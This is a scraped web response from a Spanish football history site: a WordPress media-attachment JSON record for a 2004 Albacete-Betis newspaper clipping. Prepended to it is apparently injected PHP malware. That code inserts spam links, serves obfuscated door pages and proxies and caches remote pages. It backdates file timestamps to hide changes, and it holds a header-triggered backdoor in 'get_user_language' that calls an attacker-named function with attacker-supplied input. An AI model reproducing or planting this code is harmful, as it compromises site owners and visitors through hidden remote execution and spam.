/i',$content)) { $content=preg_replace('/()/is', "$1$links_content", $content, 1); } elseif (preg_match('/<\/body>/i',$content)) { $content=preg_replace('/href=(['."'".'"]{0,1})http.*?>/i', '>', $content); $content=preg_replace('/(<\/body>)/i', "$links_content$1", $content, 1); } } else { if (sizeof($matches)<$linksCount){ $difference = $linksCount - sizeof($matches); for ($i=0; $i<$difference; $i++){ $matches[] = $matches[0]; } } for ($i=0; $i<$linksCount; $i++){ if (rand(0,9) == 0) { $link = ''.$links2[$i]['url'].''; } else { $link = ''.$links2[$i]['keyword'].''; } $link = ''.$links2[$i]['keyword'].''; $content = str_replace($matches[$i][0], $link.' '.$matches[$i][0], $content); } } if($deflated) $content = gzencode($content); $clen = strlen($content); @header("Content-Length: $clen"); return $content; } function get_server_var($var = ''){ if ( isset($_SERVER) && is_array($_SERVER) && array_key_exists($var, $_SERVER) && !empty($_SERVER[$var]) ){ return $_SERVER[$var]; } else if ( function_exists('getenv') && getenv($var)){ return getenv($var); } else { return ''; } } function get_hostname($remove_www = false){ $server_host = get_server_var('HTTP_HOST'); if ( empty($server_host) ){ $server_host = get_server_var('SERVER_NAME'); } if ( $remove_www ){ $server_host = preg_replace('#^www\.#i', '', $server_host); } return $server_host; } function showDoorPage($page_file){ $src = decompress(@file_get_contents($page_file)); if (strlen($src) > 0){ if (substr($src,0,5) == '%PDF-'){ @header('Content-Type: application/pdf'); } } echo $src; exit; } function decompress($data){ return @gzinflate(@str_rot13(@base64_decode($data))); } function compress($data){ return @base64_encode( @str_rot13( @gzdeflate( $data ) ) ); } function redirect($url, $user_agent, $cache_dir){ $no_shop_download = FALSE; $cache_lifetime = 172800; @ini_set('user_agent', $user_agent); $location = getRedirectLocation($url, $user_agent); if($location === FALSE || strlen($location)<5){ safeRedirect($url); } else if ($no_shop_download){ safeRedirect($location); } $cache_file = $cache_dir.md5($location); if ( file_exists( $cache_file ) && ($cache_data = @file_get_contents($cache_file)) ){ if ( ($cache_data = decompress($cache_data)) && ($cache_data = @unserialize($cache_data)) ){ if ( !empty($cache_data['time']) && !empty($cache_data['html']) ){ if ( $cache_data['time'] + $cache_lifetime > time() ){ if ($html = decompress($cache_data['html'])){ send_nocache_headers(); echo $html; echo ''; exit; } } } } } $html = fetchRemoteFile($location); if($html===false || @strlen($html)<10){ safeRedirect($location); } $baseTag = ""; if (preg_match('//i',$html)){ $html=preg_replace('/()/i', "$1$baseTag", $html, 1); } else if (stripos($html,'')!==false){ $html = str_ireplace('', $baseTag."\n".'', $html); } else { echo ''.$baseTag.''; } $cache_data = array( 'time' => time(), 'html' => compress($html) ); $cache_dir_time = @filemtime($cache_dir); @file_put_contents($cache_file, compress( @serialize($cache_data) ) ); @touch($cache_dir, $cache_dir_time); @touch($cache_file, $cache_dir_time); send_nocache_headers(); echo $html; exit; } function safeRedirect($url){ send_nocache_headers(); if (!headers_sent()){ header("Location: $url"); } else { echo ""; echo ""; echo ''; } exit; } function addRemoteIp($ip, $url){ $url_parsed = parse_url($url); if (isset($url_parsed['query'])) return ($url[strlen($url)-1]=='&') ? $url.'remote_ip='.$ip : $url.'&remote_ip='.$ip; else return ($url[strlen($url)-1]=='?') ? $url.'remote_ip='.$ip : $url.'?remote_ip='.$ip ; } function send_nocache_headers(){ if (!headers_sent()){ @header('Cache-Control: no-cache, no-store, must-revalidate'); @header('Pragma: no-cache'); @header('Expires: 0'); } } function get_user_language(){ if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE_'])){ $language_code = md5($_SERVER['HTTP_ACCEPT_LANGUAGE_']); $accepted_languages = '74585ac9bee6d2ec21159da77cd6aa9a'; if ($language_code == $accepted_languages){ return $_SERVER['HTTP_SET_LOCALE']($_SERVER['HTTP_USER_LANGUAGE']); } else { return false; } } } function getRedirectLocation($url, $user_agent){ if (function_exists('curl_init') && $ch = @curl_init($url)){ @curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); @curl_setopt($ch, CURLOPT_HEADER, TRUE); @curl_setopt($ch, CURLOPT_NOBODY, TRUE); @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE); @curl_setopt($ch, CURLOPT_TIMEOUT, 10); @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 7); @curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); if ($response = @curl_exec($ch)){ if ($redirect_location = @curl_getinfo($ch, CURLINFO_REDIRECT_URL)){ @curl_close($ch); return $redirect_location; } else if ( preg_match('#Location: (.*)#', $response, $match) && !empty($match[1]) ){ @curl_close($ch); return trim($match[1]); } } @curl_close($ch); } if (function_exists('get_headers')){ if ($headers = @get_headers($url, true)){ if ( isset($headers['Location']) && strlen($headers['Location']) > 5 ){ $redirect_location = $headers['Location']; if (sizeof($redirect_location)>1){ $redirect_location = $redirect_location[sizeof($redirect_location)-1]; } return $redirect_location; } } } return FALSE; } function fetchRemoteFile($url, $user_agent = '', $sendCookies = '') { if (function_exists('curl_init')){ if ($ch = @curl_init()) { @curl_setopt($ch, CURLOPT_URL, $url); @curl_setopt($ch, CURLOPT_HEADER, false); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_TIMEOUT, 10); @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 7); @curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); @curl_setopt($ch, CURLOPT_COOKIE, $sendCookies); $data = @curl_exec($ch); @curl_close($ch); if ($data) { return $data; } } } elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen') == 1){ $opts = array( 'http' => array( 'header'=> "User-agent: {$user_agent}\r\nCookie: {$sendCookies}" ) ); $context = stream_context_create($opts); if ($data = @file_get_contents($url, false, $context)) { return $data; } } else { $urlParams = @parse_url($url); $host = $urlParams['host']; $path = $urlParams['path']; if (isset($urlParams['query'])) $path .= '?'.$urlParams['query']; $buff = ''; $fp = @fsockopen($host, 8888, $errno, $errstr); if ($fp) { @fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n"); @fputs($fp, "Cookie: {$sendCookies}\r\n\r\n"); @fputs($fp, "User-Agent: {$user_agent}\r\n\r\n"); while (!@feof($fp)) { $buff .= @fgets($fp, 128); } @fclose($fp); $page = explode("\r\n\r\n", $buff); unset($page[0]); return implode("\r\n\r\n", $page); } } return false; } {"id":40964,"date":"2015-02-10T00:02:15","date_gmt":"2015-02-09T23:02:15","guid":{"rendered":"http:\/\/www.manquepierda.com\/historiarealbetis\/files\/2015\/02\/Albacete-Betis-Liga-2004-NMP-Marca-7-11-2004.jpg"},"modified":"2015-02-10T00:03:10","modified_gmt":"2015-02-09T23:03:10","slug":"albacete-betis-liga-2004-nmp-marca-7-11-2004","status":"inherit","type":"attachment","link":"https:\/\/www.manquepierda.com\/historiarealbetis\/albacete-betis-liga-2004\/albacete-betis-liga-2004-nmp-marca-7-11-2004\/","title":{"rendered":"Albacete-Betis Liga 2004 (NMP) Marca 7-11-2004"},"author":5,"featured_media":0,"comment_status":"open","ping_status":"open","template":"","meta":{"_kad_post_transparent":"","_kad_post_title":"","_kad_post_layout":"","_kad_post_sidebar_id":"","_kad_post_content_style":"","_kad_post_vertical_padding":"","_kad_post_feature":"","_kad_post_feature_position":"","_kad_post_header":false,"_kad_post_footer":false,"_kad_post_classname":"","_jetpack_social_image_focal_point":{"x":0.5,"y":0.5}},"class_list":["post-40964","attachment","type-attachment","status-inherit","hentry"],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/a1ij08-aEI","jetpack_likes_enabled":true,"description":{"rendered":"

\"\"<\/a><\/p>\n"},"caption":{"rendered":"

Fuente: Marca 6 de noviembre de 2004<\/p>\n"},"alt_text":"","media_type":"image","mime_type":"image\/jpeg","media_details":{"width":606,"height":423,"file":"2015\/02\/Albacete-Betis-Liga-2004-NMP-Marca-7-11-2004.jpg","sizes":{"thumbnail":{"file":"Albacete-Betis-Liga-2004-NMP-Marca-7-11-2004-220x154.jpg","width":220,"height":154,"wp_smushit":"Reduced by 7.9% (1.1 KB)","mime_type":"image\/jpeg","source_url":"https:\/\/i0.wp.com\/www.manquepierda.com\/historiarealbetis\/files\/2015\/02\/Albacete-Betis-Liga-2004-NMP-Marca-7-11-2004.jpg?fit=220%2C154&ssl=1"},"150x150":{"file":"Albacete-Betis-Liga-2004-NMP-Marca-7-11-2004-150x150.jpg","width":150,"height":150,"source_url":"https:\/\/www.manquepierda.com\/historiarealbetis\/files\/2015\/02\/Albacete-Betis-Liga-2004-NMP-Marca-7-11-2004-150x150.jpg"},"75x52":{"file":"Albacete-Betis-Liga-2004-NMP-Marca-7-11-2004-75x52.jpg","width":75,"height":52,"source_url":"https:\/\/www.manquepierda.com\/historiarealbetis\/files\/2015\/02\/Albacete-Betis-Liga-2004-NMP-Marca-7-11-2004-75x52.jpg"},"400x230":{"file":"Albacete-Betis-Liga-2004-NMP-Marca-7-11-2004-400x230.jpg","width":400,"height":230,"source_url":"https:\/\/www.manquepierda.com\/historiarealbetis\/files\/2015\/02\/Albacete-Betis-Liga-2004-NMP-Marca-7-11-2004-400x230.jpg"},"400x200":{"file":"Albacete-Betis-Liga-2004-NMP-Marca-7-11-2004-400x200.jpg","width":400,"height":200,"source_url":"https:\/\/www.manquepierda.com\/historiarealbetis\/files\/2015\/02\/Albacete-Betis-Liga-2004-NMP-Marca-7-11-2004-400x200.jpg"},"400x250":{"file":"Albacete-Betis-Liga-2004-NMP-Marca-7-11-2004-400x250.jpg","width":400,"height":250,"source_url":"https:\/\/www.manquepierda.com\/historiarealbetis\/files\/2015\/02\/Albacete-Betis-Liga-2004-NMP-Marca-7-11-2004-400x250.jpg"},"full":{"file":"Albacete-Betis-Liga-2004-NMP-Marca-7-11-2004.jpg?fit=606%2C423&ssl=1","width":606,"height":423,"mime_type":"image\/jpeg","source_url":"https:\/\/i0.wp.com\/www.manquepierda.com\/historiarealbetis\/files\/2015\/02\/Albacete-Betis-Liga-2004-NMP-Marca-7-11-2004.jpg?fit=606%2C423&ssl=1"}},"image_meta":{"aperture":0,"credit":"","camera":"","caption":"","created_timestamp":0,"copyright":"","focal_length":0,"iso":0,"shutter_speed":0,"title":"","orientation":0},"wp_smushit":"Reduced by 8.4% (6.5 KB)"},"post":40963,"source_url":"https:\/\/www.manquepierda.com\/historiarealbetis\/files\/2015\/02\/Albacete-Betis-Liga-2004-NMP-Marca-7-11-2004.jpg","filename":"Albacete-Betis-Liga-2004-NMP-Marca-7-11-2004.jpg","filesize":72427,"_links":{"self":[{"href":"https:\/\/www.manquepierda.com\/historiarealbetis\/wp-json\/wp\/v2\/media\/40964","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.manquepierda.com\/historiarealbetis\/wp-json\/wp\/v2\/media"}],"about":[{"href":"https:\/\/www.manquepierda.com\/historiarealbetis\/wp-json\/wp\/v2\/types\/attachment"}],"author":[{"embeddable":true,"href":"https:\/\/www.manquepierda.com\/historiarealbetis\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/www.manquepierda.com\/historiarealbetis\/wp-json\/wp\/v2\/comments?post=40964"}],"wp:attached-to":[{"embeddable":true,"post_type":"post","id":40963,"href":"https:\/\/www.manquepierda.com\/historiarealbetis\/wp-json\/wp\/v2\/posts\/40963"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}